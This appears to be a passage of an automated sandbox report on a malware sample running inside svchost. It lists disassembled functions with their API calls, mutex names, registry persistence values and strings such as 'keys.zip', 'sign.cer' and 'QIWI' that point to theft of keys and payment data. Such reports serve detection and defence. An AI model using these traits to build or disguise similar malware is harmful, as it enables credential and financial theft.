                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 5c5904bc$HANDY$Local\{EAF7eaFF-8989-4fe1-9A0D-95CD777C0214}$\t
                                                                                                                                                                                                            • API String ID: 4280258085-2230293276
                                                                                                                                                                                                            • Opcode ID: af9924cbe0f79e88b1c4ab0e5dfa5cf51c8179d7703b16c560d7e1a5a2e18330
                                                                                                                                                                                                            • Instruction ID: 681ed1a00b5c5d3d04920fb0322b5980ede5b3d8eff766582ffc96bccaa7dac2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: af9924cbe0f79e88b1c4ab0e5dfa5cf51c8179d7703b16c560d7e1a5a2e18330
                                                                                                                                                                                                            • Instruction Fuzzy Hash: CEF08231AC83557FF6216B60BC0DB5E77D4AF06B49F104504F986A1B80DBF49C148BA2
                                                                                                                                                                                                            Function 02D22EE8 Relevance: 17.5, APIs: 6, Strings: 4, Instructions: 30sleepsynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • OpenMutexA.KERNEL32(00100000,00000000,Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}), ref: 02D22EFC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D22F05
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D22F19
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D22F2B
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C5901AC), ref: 02D22F36
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40,5C5901AC,RFK), ref: 02D22F50
                                                                                                                                                                                                            • Sleep.KERNEL32(00000064), ref: 02D22F56
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleMutexSleep$BackslashCloseInformationOpenPathRelease
                                                                                                                                                                                                            • String ID: 5C5901AC$Local\{EAF777FF-8989-4fe1-9A0D-95CD777C0214}$RFK$\t
                                                                                                                                                                                                            • API String ID: 4280258085-2247665511
                                                                                                                                                                                                            • Opcode ID: e273c92e77141af589b989f7063349853343be2a43a4dae67968af274c780e20
                                                                                                                                                                                                            • Instruction ID: a0ee122a3bd1aa16e1d2c4a461977ecee28ba1f493c7a14b0c94d8dfcea65f9e
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e273c92e77141af589b989f7063349853343be2a43a4dae67968af274c780e20
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 54F082349893A16BF721AF61BC0DB1E37D4AF25B09F504414FD4691380CBB09D1DCBA2
                                                                                                                                                                                                            Function 02D08EC0 Relevance: 16.6, APIs: 11, Instructions: 120filesynchronizationmemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • SetThreadDesktop.USER32(?,75923050,759230D0,75923080), ref: 02D08F00
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D08F14
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D08F1F
                                                                                                                                                                                                            • UnmapViewOfFile.KERNEL32(00000000,?,00000006,00000000), ref: 02D08F47
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02D08F64
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D08F75
                                                                                                                                                                                                            • CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,?,02D4F54C), ref: 02D08F95
                                                                                                                                                                                                            • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000), ref: 02D08FAC
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 02D08FEC
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,0000007E,?,00000000,?,00000006,00000001,00000000,00000000), ref: 02D09034
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000,?,00000000,?,00000006,00000001,00000000,00000000), ref: 02D0903D
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$HandleMutexObjectReleaseSingleViewWait$CloseCreateDesktopFreeHeapInformationMappingThreadUnmap
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 2125184990-0
                                                                                                                                                                                                            • Opcode ID: 284697e1ad76a5116839e04a7006aa61981aeb641a8806dfa8bfef5512f964f5
                                                                                                                                                                                                            • Instruction ID: c847cf4eb79bee362e1b5fe67b1d31a8b59223cfbcf28f88aa45841204a8340a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 284697e1ad76a5116839e04a7006aa61981aeb641a8806dfa8bfef5512f964f5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: A741AF79A80354ABD710DF74EC99FA637A9AB49720F144E05FA11973D1C7F1AC20CBA0
                                                                                                                                                                                                            Function 02D0F120 Relevance: 16.5, APIs: 13, Instructions: 218memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,-05A9F5C8,00000000,00000000,?,?,?,?), ref: 02D0F164
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D0F16B
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0F17B
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0F186
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(?,00000000,00000000,?,?,02D4573C,?,02D45CF4,-05A9F5C8,00000000,00000000,?), ref: 02D0F24E
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D0F255
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(?,00000000), ref: 02D0F261
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D0F268
                                                                                                                                                                                                            • memcpy.MSVCRT ref: 02D0F28E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,-05A9F5C8,00000000,00000000,?,?,?,?), ref: 02D0F2BA
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D0F2BD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D0F2CA
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D0F2CD
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidatememcpy$Allocmemset
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 1948005343-0
                                                                                                                                                                                                            • Opcode ID: 3abbc0e603715ce542d371a51ec482d4817926d44cd81506f87cb13a4b99a226
                                                                                                                                                                                                            • Instruction ID: 86314abf31f812ee39b24f27d7d313236d89567c064e39c3e94e66169b281480
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3abbc0e603715ce542d371a51ec482d4817926d44cd81506f87cb13a4b99a226
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E661B476A002099FDB20CF68D8C4BAAB7A9EF89324F148255ED04D7390DB30DD51CBE1
                                                                                                                                                                                                            Function 02D14330 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 125registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1433A
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D14370
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,?,?,?,00000000), ref: 02D14397
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,00000001,00000000,00000001,00000000,00000104,?,?,00000000), ref: 02D143BA
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000015,?,?,00000000), ref: 02D1442D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02D14434
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D14444
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 02D14472
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heapmemset$AdminAllocCloseOpenProcessQueryUserValue
                                                                                                                                                                                                            • String ID: software\microsoft
                                                                                                                                                                                                            • API String ID: 1484339481-3673152959
                                                                                                                                                                                                            • Opcode ID: 715aa294a3f4d6e200254bd27b5953b5a9604ab11a8fc1f194efb979eaf70d24
                                                                                                                                                                                                            • Instruction ID: abf01ee21a09f09fc78be62b7e06082e985f3c13715f31f1bf9afcdc20a5fcd0
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 715aa294a3f4d6e200254bd27b5953b5a9604ab11a8fc1f194efb979eaf70d24
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 2D41F776900259BBDB21CF65A809FDABBF8DF85B04F154194ED84A7700DB709E09CBA1
                                                                                                                                                                                                            Function 02D07880 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 124registrymemoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D078B3
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D078CB
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000101,?,?,?,?,?,?,7591F380), ref: 02D078EC
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,00000104,00000000,00000001,?,00000104,?,?,?,?,?,7591F380), ref: 02D07912
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,7591F380), ref: 02D0799D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,7591F380), ref: 02D079A4
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D079B3
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,?,7591F380), ref: 02D079E3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: memset$Heap$AllocCloseOpenProcessQueryValue
                                                                                                                                                                                                            • String ID: software\microsoft
                                                                                                                                                                                                            • API String ID: 4158279268-3673152959
                                                                                                                                                                                                            • Opcode ID: 3b20fe82d95ba8fdb9fa64b67956b3489cc478f900eccbfcb2b95cfab1364e7a
                                                                                                                                                                                                            • Instruction ID: b437b2240a13c3924799f35fab7f5b796ec12f7015f748d4c58b7a8c411f31ba
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3b20fe82d95ba8fdb9fa64b67956b3489cc478f900eccbfcb2b95cfab1364e7a
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AE412671D0015D6FEB10DB64ACC8BEAB7A9EB5D304F4045A8E545D7390D770AE898BA0
                                                                                                                                                                                                            Function 02D23EB8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 118synchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C), ref: 02D23ED7
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(02D5D19C,?,?), ref: 02D23F69
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF7722F-8989-4fe1-977D-95CD777C0214},?,?), ref: 02D23FF5
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D24006
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D2400D
                                                                                                                                                                                                              • Part of subcall function 02D25580: GetHandleInformation.KERNEL32(00000000,00000000,?,?,02D25295,02D213E0,00000000), ref: 02D25594
                                                                                                                                                                                                              • Part of subcall function 02D25580: CloseHandle.KERNEL32(00000000,?,?,02D25295,02D213E0,00000000), ref: 02D255A5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: BackslashHandleMutexPath$CloseCreateInformationReleaseSleep
                                                                                                                                                                                                            • String ID: Local\{EAF7722F-8989-4fe1-977D-95CD777C0214}$keys.zip$path.txt$\t
                                                                                                                                                                                                            • API String ID: 3621236684-1798795610
                                                                                                                                                                                                            • Opcode ID: 93fea3b3030c03b037a1aec53274bb89416c00453a45679be5ff2be2edd1d434
                                                                                                                                                                                                            • Instruction ID: 0858b4feda3a6d1e821f3bea6e49b36214d2e96252d3d901bf76eedd9f7a828f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 93fea3b3030c03b037a1aec53274bb89416c00453a45679be5ff2be2edd1d434
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 51410B349446AA4FCB16CF28A439BE67BE2AF5A304F148AD5D889C7340DB719D4CC790
                                                                                                                                                                                                            Function 02D07BA0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 104registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D07BC2
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D07BE0
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(02D15889,software\microsoft,00000000,00000102,80000002,?,?,?,?,00000000,0000000A), ref: 02D07C7D
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(80000002,a3b7f923a,00000000,00000001,?,00000104,?,?,?,?,00000000,0000000A), ref: 02D07C9F
                                                                                                                                                                                                            • RegDeleteValueA.ADVAPI32(80000002,a3b7f923a,?,?,?,?,00000000,0000000A), ref: 02D07CAC
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 02D07CBA
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 02D07CCF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Valuememset$CloseDeleteFlushOpen
                                                                                                                                                                                                            • String ID: a3b7f923a$software\microsoft
                                                                                                                                                                                                            • API String ID: 3377232977-2470167804
                                                                                                                                                                                                            • Opcode ID: f9c2fd75dc4d481ca44c1aba07cf77e24baab220943a137e81e74a8668323570
                                                                                                                                                                                                            • Instruction ID: 829ff9e4a244d83d9feade625dc9e8422f05dd51e09a70bae92c9c8ae4155bae
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f9c2fd75dc4d481ca44c1aba07cf77e24baab220943a137e81e74a8668323570
                                                                                                                                                                                                            • Instruction Fuzzy Hash: B731EB75940158ABFB10DB7498C8BEEB7A9EB15304F5045ACE585DB390D670AE84CF90
                                                                                                                                                                                                            Function 02D1F098 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 89filesynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CopyFileA.KERNEL32(02D5DCB0,02D5DBA8,00000000), ref: 02D1F0D9
                                                                                                                                                                                                            • CopyFileA.KERNEL32(02D5DCB0,02D5DBA8,00000000), ref: 02D1F153
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}), ref: 02D1F15E
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02D1F16F
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02D1F176
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D1F188
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D1F199
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • sign.cer, xrefs: 02D1F0FE
                                                                                                                                                                                                            • Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}, xrefs: 02D1F155
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CopyFileHandleMutex$CloseCreateInformationReleaseSleep
                                                                                                                                                                                                            • String ID: Local\{AAFEE2BF-8989-4fe1-9A0D-95CD39DC0A14}$sign.cer
                                                                                                                                                                                                            • API String ID: 2434762175-3941987283
                                                                                                                                                                                                            • Opcode ID: 956a01130724935f81547a8c4a3f3c98e7c106dac393c1758a2aaca7d857829e
                                                                                                                                                                                                            • Instruction ID: c268c8349097c29aede9d4ebad1d8a97764807494bf649040821f51ee7e9a759
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 956a01130724935f81547a8c4a3f3c98e7c106dac393c1758a2aaca7d857829e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3731D7389847946FE7125F24B868B667FE1AF16744F698084ECC98BB12D770CC45C7A1
                                                                                                                                                                                                            Function 02D19B00 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D19B08
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,02D19CC7), ref: 02D19B3F
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(02D19CC7,a3b7fa02a,00000000,?,00000000,?), ref: 02D19B5C
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(02D19CC7), ref: 02D19B66
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 02D19B99
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,a3b7fa02a,00000000,?,00000000,?), ref: 02D19BB6
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D19BC0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: a3b7fa02a$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-649089720
                                                                                                                                                                                                            • Opcode ID: a39ebeefa9a9c164e5d33346d4daaf29f5729a44f739671b010fc06f7c46d19e
                                                                                                                                                                                                            • Instruction ID: e23ca0e4db364fdeaf76af5331e563d08aaa461a6f8c6c90bec0afd45687b0dc
                                                                                                                                                                                                            • Opcode Fuzzy Hash: a39ebeefa9a9c164e5d33346d4daaf29f5729a44f739671b010fc06f7c46d19e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FC213279E40219FBEB10DFA4EC95FEEBBB8EB58704F504599F501A6240D7B06E04CB90
                                                                                                                                                                                                            Function 02D03600 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D03608
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,02D15686), ref: 02D0363F
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(02D15686,a3b7fb90a,00000000,?,00000000,?), ref: 02D0365C
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(02D15686), ref: 02D03666
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 02D03699
                                                                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,a3b7fb90a,00000000,?,00000000,?), ref: 02D036B6
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 02D036C0
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: CloseOpenQueryValue$AdminUser
                                                                                                                                                                                                            • String ID: a3b7fb90a$software\microsoft
                                                                                                                                                                                                            • API String ID: 2113243795-452601912
                                                                                                                                                                                                            • Opcode ID: c833935fb91b8ed6dafbc2e009363dfc2bc903d67fd1f286ebf37bd7e29bc5ab
                                                                                                                                                                                                            • Instruction ID: 9daee47cac559aed296f8acedbdd70611b726f1f7c9c8f4ac8462d58cb195b33
                                                                                                                                                                                                            • Opcode Fuzzy Hash: c833935fb91b8ed6dafbc2e009363dfc2bc903d67fd1f286ebf37bd7e29bc5ab
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 31212479E40219FBEB10DFA4DC85FEEB7B8EF58704F504559F501A6280D7B46A44CB90
                                                                                                                                                                                                            Function 02D21AE0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 40sleepsynchronizationthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02D21990,00000000,00000000,00000000), ref: 02D21AF4
                                                                                                                                                                                                            • Sleep.KERNEL32(00009C40), ref: 02D21B05
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D21B0E
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02D21B20
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D21B31
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590608), ref: 02D21B3C
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$BackslashCloseCreateInformationObjectPathSingleSleepThreadWait
                                                                                                                                                                                                            • String ID: 5C590608$QIWI$\t
                                                                                                                                                                                                            • API String ID: 197911262-3092872722
                                                                                                                                                                                                            • Opcode ID: 34e54feb6cb236179aef514be7c81fdbfcc115045a75175cbfe2b376d336fbcd
                                                                                                                                                                                                            • Instruction ID: 113488b80a3c16894e5b67d232758e25493174f862a50f0d031dc7d9dc340589
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 34e54feb6cb236179aef514be7c81fdbfcc115045a75175cbfe2b376d336fbcd
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FBF0C235AC5324B7F7209BA4BC0EF6A37E89B16B59F204641F909A53C0DAE09D2486A1
                                                                                                                                                                                                            Function 02D0F950 Relevance: 15.3, APIs: 7, Strings: 3, Instructions: 271COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
